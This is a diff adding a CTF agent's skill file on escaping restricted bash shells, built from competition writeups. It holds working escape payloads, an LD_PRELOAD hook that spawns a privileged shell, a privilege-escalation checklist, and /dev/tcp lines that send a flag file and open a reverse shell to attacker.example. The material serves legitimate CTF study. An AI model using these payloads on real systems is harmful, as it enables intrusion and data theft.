ctf-agent 1.2.0

package/skills/ctf-misc/bashjails.md

@@ -0,0 +1,323 @@
+# CTF Misc - Bash Jails & Restricted Shells
+
+## Table of Contents
+- [Identifying the Jail](#identifying-the-jail)
+- [Eval Context Detection](#eval-context-detection)
+- [Character-Restricted Bash: Only #, $, \](#character-restricted-bash-only---)
+- [Internal Service Discovery (Post-Shell)](#internal-service-discovery-post-shell)
+- [Other Restricted Character Set Tricks](#other-restricted-character-set-tricks)
+  - [Building numbers from $# and ${##}](#building-numbers-from--and-)
+  - [Using PID digits](#using-pid-digits)
+  - [Octal in ANSI-C quoting](#octal-in-ansi-c-quoting)
+  - [Dollar-zero variants](#dollar-zero-variants)
+- [Privilege Escalation Checklist (Post-Shell)](#privilege-escalation-checklist-post-shell)
+- [HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)](#histfile-trick-for-restricted-shell-file-reads-bctf-2016)
+- [Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)](#bash-jail-bypass-via--octal-encoding-34c3-ctf-2017)
+- [LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)](#ld_preload-hook-via-rbash-allowed-variable-set-otw-advent-2018)
+- [/dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)](#devtcp-exfiltration-from-minimal-command-set-otw-advent-2018)
+- [Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)](#layer-by-layer-echo-only-bash-escape-insomnihack-2019)
+- [Closed-Stdout Jail with \r Truncation (Insomnihack 2019)](#closed-stdout-jail-with-r-truncation-insomnihack-2019)
+- [References](#references)
+
+---
+
+## Identifying the Jail
+
+**Methodology:** Send test inputs and observe error messages to determine:
+1. What characters are allowed (whitelist vs blacklist)
+2. Whether input is `eval`'d, passed to `bash -c`, or something else
+3. Whether input is wrapped in quotes (double-quoted eval context)
+
+**Test for character filtering:**
+```python
+from pwn import *
+import time
+
+# Send each char combined with a known-good payload
+for c in range(32, 127):
+    r = remote(host, port, level='error')
+    r.sendline(b'$#' + bytes([c]) + b'$#')
+    time.sleep(0.3)
+    try:
+        data = r.recv(timeout=1)
+        if data:
+            print(f'{chr(c)!r}: {data.decode().strip()[:60]}')
+    except:
+        pass
+    r.close()
+```
+
+**Silent rejection = character not allowed.** Error output = character passed the filter.
+
+**Key insight:** Systematically probe each printable character to map the allowed set before crafting payloads. Silent rejection means the character is filtered; any error output means it passed the filter and reached the shell.
+
+---
+
+## Eval Context Detection
+
+**Double-quoted eval** (`eval "$input"`):
+- Trailing `\` causes: `unexpected EOF while looking for matching '"'`
+- `$#` expands to `0` (inside double-quotes, `$` still expands)
+- `\$` gives literal `$` (backslash escapes dollar in double-quotes)
+- `\#` gives `\#` literally (backslash doesn't escape `#` in double-quotes, but eval then interprets `\#` as literal `#`)
+
+**Bare eval** (`eval $input`):
+- Word splitting applies
+- Backslash escapes work differently
+
+**Read behavior:**
+- `read -r`: backslashes preserved literally
+- `read` (without -r): backslash is escape character (strips backslashes)
+
+**Key insight:** Distinguish between `eval "$input"` (double-quoted) and `eval $input` (bare) by sending a trailing backslash. Double-quoted eval produces an "unexpected EOF" error because the backslash escapes the closing quote; bare eval does not. This determines which escape sequences are available for exploitation.
+
+---
+
+## Character-Restricted Bash: Only `#`, `$`, `\`
+
+**Pattern (HashCashSlash):** Filter regex `^[\\#\$]+$` allows only hash, dollar, backslash.
+
+**Available expansions:**
+| Construct | Result | Notes |
+|-----------|--------|-------|
+| `$#` | `0` | Number of positional parameters |
+| `$$` | PID | Current process ID (multi-digit number) |
+| `\$` | literal `$` | In double-quoted eval context |
+| `\\` | literal `\` | In double-quoted eval context |
+| `\#` | literal `#` | Via eval's second-pass interpretation |
+
+**Key payload: `\$$#`**
+
+In a double-quoted eval context like `bash -c "\"${x}\""`:
+- `\$` → literal `$` (backslash escapes dollar in double-quotes)
+- `$#` → `0` (parameter expansion)
+- Combined: `$0` in the eval context
+- `$0` = the shell name = `bash`
+- Result: **spawns an interactive bash shell**
+
+**Why it works:** The script wraps input in double quotes for `bash -c`, so `\$` becomes a literal `$`, then `$#` expands to `0`, giving the string `$0`. When eval executes this, `$0` expands to the shell invocation name (`bash`), spawning a new shell.
+
+---
+
+## Internal Service Discovery (Post-Shell)
+
+After escaping the jail, the flag may not be directly readable. Check for internal services:
+
+```bash
+# Find all running processes and their command lines
+cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '
+
+# Look specifically for flag-serving processes
+for pid in /proc/[0-9]*/; do
+    cmd=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ')
+    if echo "$cmd" | grep -qi flag; then
+        echo "PID $(basename $pid): $cmd"
+        cat ${pid}status 2>/dev/null | grep -E "^(Uid|Name):"
+    fi
+done
+```
+
+**Common patterns:**
+- `socat TCP-LISTEN:PORT,bind=127.0.0.1 EXEC:cat /flag` → flag on localhost port
+- `readflag` binary with SUID bit
+- Flag in environment of root process
+
+**Connect to internal services:**
+```bash
+# Bash built-in TCP (no netcat needed)
+cat < /dev/tcp/127.0.0.1/PORT
+
+# Or with netcat if available
+nc 127.0.0.1 PORT
+```
+
+**Key insight:** After escaping the jail, check `/proc/*/cmdline` for internal services serving the flag on localhost. The flag is often on a different process, not readable from the filesystem directly.
+
+---
+
+## Other Restricted Character Set Tricks
+
+### Building numbers from `$#` and `${##}`
+If `{` and `}` are allowed:
+- `$#` = 0
+- `${##}` = 1 (length of `$#`'s string value "0")
+- Concatenate to build binary: `${##}$#${##}` = "101"
+
+### Using PID digits
+`$$` gives a multi-digit number. If you can extract individual digits (requires `{}` and `:`):
+```bash
+${$$:0:1}  # First digit of PID
+${$$:1:1}  # Second digit of PID
+```
+
+### Octal in ANSI-C quoting
+If `'` is available: `$'\101'` = `A`, `$'\142\141\163\150'` = `bash`
+
+### Dollar-zero variants
+| Shell | `$0` value |
+|-------|-----------|
+| bash script | script path |
+| bash -c | `bash` |
+| interactive | `bash` or `-bash` |
+| sh | `sh` |
+
+**Key insight:** Build arbitrary strings from minimal character sets by combining `$#` (yields 0), `${##}` (yields 1), `$$` (PID digits), and ANSI-C quoting (`$'\NNN'` for octal). Even a 3-character alphabet (`#$\`) is sufficient to spawn a shell via `$0` expansion.
+
+---
+
+## Privilege Escalation Checklist (Post-Shell)
+
+1. **SUID binaries:** `find / -perm -4000 2>/dev/null`
+2. **Capabilities:** `find / -executable -type f -exec getcap {} \; 2>/dev/null`
+3. **Internal services:** Check `/proc/*/cmdline` for flag-serving daemons
+4. **Process UIDs:** `cat /proc/*/status 2>/dev/null | grep -A5 "^Name:.*flag"`
+5. **Writable paths:** Check if PATH contains writable dirs
+6. **Docker/container:** `/dev/tcp` for internal service access, `/.dockerenv` presence
+
+**Key insight:** After escaping the jail, run through this checklist in order: SUID binaries and capabilities first (quickest wins), then internal services via `/proc/*/cmdline`, then writable PATH directories. In containers, use `/dev/tcp` for internal service access since netcat is rarely available.
+
+---
+
+## HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)
+
+Read arbitrary files in restricted bash shells without cat/less/head:
+
+```bash
+# Method 1: HISTFILE loading
+HISTFILE=/path/to/flag /bin/bash
+history  # Flag contents loaded as command history
+
+# Method 2: bash verbose mode
+bash -v flag.txt  # Prints each line before executing; comments (#flag{...}) print without error
+
+# Method 3: ctypes.sh direct C library calls
+dlcall -n fd open /flag 0
+dlcall -n m mmap 0 100 1 1 $fd 0
+dlcall printf %s $m
+```
+
+**Key insight:** Three ways to read files without standard utilities: (1) HISTFILE loading, (2) `bash -v` verbose mode, (3) `ctypes.sh` direct C library calls via `dlcall`.
+
+---
+
+## Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)
+
+When a-z, `*`, `?`, `.` are banned, use `$'...'` ANSI-C quoting with octal escapes:
+
+```bash
+# Encode /get_flag as octal
+__=$'\057\147\145\164\137\146\154\141\147'
+$__  # executes /get_flag
+
+# Or encode any command character by character:
+# /bin/sh = $'\057\142\151\156\057\163\150'
+```
+
+Also: extract characters from existing environment variables:
+
+```bash
+# ${VARIABLE:START:LENGTH} extracts substrings
+# Build command from $PATH, $HOME, $OSTYPE, $HOSTNAME:
+/${OSTYPE:6:1}${HOSTNAME:2:1}${HOME:1:1}_${HOSTNAME:9:1}${PATH:5:1}...
+```
+
+**Key insight:** Bash's `$'...'` syntax interprets `\NNN` as octal byte values, allowing arbitrary string construction without using any alphabetic characters. Combined with environment variable substring extraction (`${VAR:offset:length}`), this bypasses nearly any character blacklist. The `__` variable name uses only underscores (often not blocked). When letters are banned but `$`, `'`, `\`, and digits are allowed, octal encoding in ANSI-C quotes is the primary escape vector.
+
+---
+
+## LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)
+
+**Pattern:** rbash blocks path arguments but still allows `VAR=value command` prefixes on invocations of permitted binaries. Upload a shared object encoding a libc hook, then export `LD_PRELOAD=./hook.so` before any command in the allowlist (`cat`, `ls`, `id`). The hook runs on every libc symbol call from the allowed binary.
+
+```c
+// hook.c — hijacks open()
+#include <stdlib.h>
+__attribute__((constructor))
+void init(void) { system("/bin/bash -p -c 'cat /flag'"); }
+```
+
+```bash
+gcc -shared -fPIC hook.c -o /tmp/hook.so
+LD_PRELOAD=/tmp/hook.so cat   # constructor runs before cat
+```
+
+**Key insight:** Restricted shells enforce argv filtering, not environment filtering. Any allowed binary dynamically linked to libc can be hijacked through `LD_PRELOAD` as long as you can write a `.so` to a writable path. Harden by unsetting `LD_PRELOAD`, `LD_LIBRARY_PATH`, and `LD_AUDIT` on shell entry.
+
+**References:** OverTheWire Advent 2018 — Claustrophobic, writeup 12770
+
+---
+
+## /dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)
+
+**Pattern:** Only `cat`, `echo`, and `dd` are available — no `curl`, `wget`, `nc`, `python`. Bash exposes `/dev/tcp/<host>/<port>` as a virtual socket file; redirecting to it opens a raw TCP connection without any extra binary.
+
+```bash
+cat /opt/flag > /dev/tcp/attacker.example/8081
+# attacker side:
+nc -lvnp 8081
+```
+
+Bidirectional shells:
+
+```bash
+exec 3<> /dev/tcp/attacker.example/8081
+cat <&3 | bash >&3 2>&3
+```
+
+**Key insight:** `/dev/tcp` and `/dev/udp` are *built into bash*, not real filesystem paths — any distribution shipping GNU bash supports them even when `netcat`/`curl` are missing. Always test file redirection before assuming you need an external tool.
+
+**References:** OverTheWire Advent 2018 — Santa's little recorders, writeup 12780
+
+---
+
+## Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)
+
+**Pattern:** Jail allows only `echo`, `(`, `)`, `+`, `=`, `;`, `\`, `$`, and whitespace. Escape by recursively constructing stronger primitives each round:
+
+```bash
+# Round 0: allowed chars → unlimited `=` via $((a = 1))
+# Round 1: arithmetic sets more vars; use $'\NNN' via increment loops
+a=$((++a))                       # counters without digits
+# Round N: emit arbitrary payload as octal escapes
+$('\143\141\164'  /flag)         # cat /flag
+```
+
+Build numbers using `++` on uninitialised variables, then index characters out of `$PATH`, `$PWD`, or any leaked variable. Finally concatenate those characters with `\` to form any command.
+
+**Key insight:** Echo-only jails are escapable because bash's arithmetic context treats uninitialised variables as `0` and supports `++`, giving you any integer without digits. From there, `$'\NNN'` builds any byte, which builds any command.
+
+**References:** Insomnihack teaser 2019 — echoechoechoecho, writeup 12911
+
+---
+
+## Closed-Stdout Jail with \r Truncation (Insomnihack 2019)
+
+**Pattern:** A bash-exec service runs commands but has stdout (and stderr) closed, so normal output silently disappears. Additionally, the target file contains a `\r` early on that naive `cat` renders as "overwrite the line", hiding the flag behind it. Workaround is two-fold: redirect output to a still-open fd (stdin is connected to the network socket, or `/dev/tty`), and use `cat -A` / `od -c` / `xxd` so the carriage return shows as `^M` instead of truncating display.
+
+```bash
+# 1. confirm stdout is closed — output never returns
+echo hello                      # nothing
+echo hello 2>&1                 # still nothing (stderr also closed)
+
+# 2. redirect to stdin (fd 0), which is the network socket for nc-style services
+cat flag 1>&0
+# returns only the tail after \r because the terminal interprets \r literally
+
+# 3. use cat -A (show-all) so CR becomes ^M and the hidden prefix is revealed
+cat -A flag 1>&0
+# or: od -c flag 1>&0   /   xxd flag 1>&0   /   base64 flag 1>&0
+
+# Alternative: reopen a writable stdout
+exec 1>/dev/tty        # only works if a tty is attached
+exec 1>&0              # duplicate the socket fd onto stdout for future cmds
+```
+
+**Key insight:** "Commands work but produce no output" means stdout is closed — find any still-open fd (stdin to the network socket is always open) and redirect with `1>&0`. Once output flows, beware of display artefacts: `\r` truncates in raw `cat`, ANSI CSI sequences can blank lines, and `\x1b[2J` clears the terminal. Always inspect suspect files with `cat -A`, `od -c`, `xxd`, or `base64` so no byte is lost in translation.
+
+**References:** Insomnihack 2019 — myBrokenBash, writeups 13989 and 13990
+
+---
+
+## References
+
+- 0xL4ugh CTF "HashCashSlash": Filter `^[\\#\$]+$`, payload `\$$#`, internal socat flag service